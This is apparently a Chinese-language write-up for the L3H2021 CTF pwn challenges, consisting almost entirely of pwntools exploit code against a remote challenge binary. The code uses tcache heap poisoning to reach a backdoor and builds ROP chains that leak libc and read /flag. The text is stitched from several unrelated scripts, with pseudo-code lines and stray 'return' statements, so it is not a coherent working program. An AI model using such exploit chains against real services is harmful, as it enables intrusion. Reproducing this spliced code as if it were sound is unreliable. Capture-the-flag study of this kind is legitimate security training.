L3H2021 PWN部分

#!/usr/bin/python

# -*- coding:utf-8 -*-

from pwn import *

import sys

context.log_level = 'debug'

context.arch='amd64'

local=0

binary_name='SPN_ENC'

libc_name='lib/libc-2.27.so'

if local:

    p=process("./"+binary_name)

    libc=ELF("./"+libc_name)

else:

    p=remote('124.71.194.126',9999)

    e=ELF("./"+binary_name)

    libc=ELF("./"+libc_name)

def z(a=''):

    if local:

        gdb.attach(p,a)

        if a=='':

            raw_input

    else:

        pass

ru=lambda x:p.recvuntil(x)

sl=lambda x:p.sendline(x)

sd=lambda x:p.send(x)

sa=lambda a,b:p.sendafter(a,b)

sla=lambda a,b:p.sendlineafter(a,b)

ia=lambda :p.interactive()

# 这里真的是学到了，不过也是我之前看大佬的 wp 太少的缘故，之前我还在傻傻地一个字一个字地敲 (+_+)

def leak_address():

    if(context.arch=='i386'):

        return u32(p.recv(4))

    else :

        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):

    sla("0.exit\n",str(num))

def add(size,idx):

    cho(1)

    sla("Size:",str(size))

    sla("Index:",str(idx))

def delete(idx):

    cho(3)

    sla("Index:",str(idx))

def show(idx):

    cho(4)

    sla("Index:",str(idx))

def edit(idx,size,data):

    cho(2)

    sla("Index:",str(idx))

    sla("Size",str(size))

    sa("Content",data)

def backdoor():

    cho(5)

def decrypt(x):

    io = process('./spn_dec.py')

    io.sendline(str(x&0xffff))

    a = int(io.recv()[:-1])

    io.close()

    return a

def spn_dec(x):

    a1 = decrypt(x)

    a2 = decrypt(x>>16)

    a3 = decrypt(x>>32)

    aa = a1+a2*0x10000+a3*0x100000000

    print(hex(a3),hex(a2),hex(a1))

    print(aa)

    return aa

ru("gift:")

shell_addr=int(ru('\n'),16)

print(hex(shell_addr))

aa = spn_dec(shell_addr)

print(hex(aa))

add(0x10,0)

add(0x10,1)

add(0x10,2)

delete(2)

delete(1)

edit(0,0x26,b'a'*0x20+p64(aa)[:-2])

add(0x10,3)

add(0x10,4)

edit(4,2,b'aa')

backdoor()

ia()

# 害，身为菜鸡，我连脚本都没大佬写得好看

add(0,0x1000)

add(1,0x20)

edit(0,0x1000+2,'\n')

backdoor()

sys_open("flag")//读取flag

sys_read("rax","rsp",0x40)//rax为sysoopen的返回值，也就是flag，然后将flag写到esp下

sys_write(1,"rsp",0x40)//打印flag的值到屏幕输出

sla(b'Welcome! A gift for you:',str(0x73edb8+1))

sleep(1)

sd(b'\x91')

sa(b'Leave a note.',b'a'*0x1f)

sa(b"That's all. Have fun!",p64(0x43FBB3))

pop_rdi = 0x41af0b

pop_rsp = 0x484d50

call_puts = 0x43A286

rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000)

try:

    p.recv()

    sl(rop)

    libc_addr = leak_address()-0x407e0

    print(hex(libc_addr))

    if libc_addr == 0x736572605c61:

        p.close()

        return 0

except Exception:

    return 0

print(hex(libc_addr))

binsh=libc_addr+0x1B3E1A

system=libc_addr+0x4f550

pop_rsi=0x000000000041ab7c

pop_rdx=0x000000000043ced2

open_addr=libc_addr+libc.sym['open']

read_addr=libc_addr+libc.sym['read']

write_addr=libc_addr+libc.sym['write']

rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr)

rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr)

rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr)

rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00'

sl(rop2)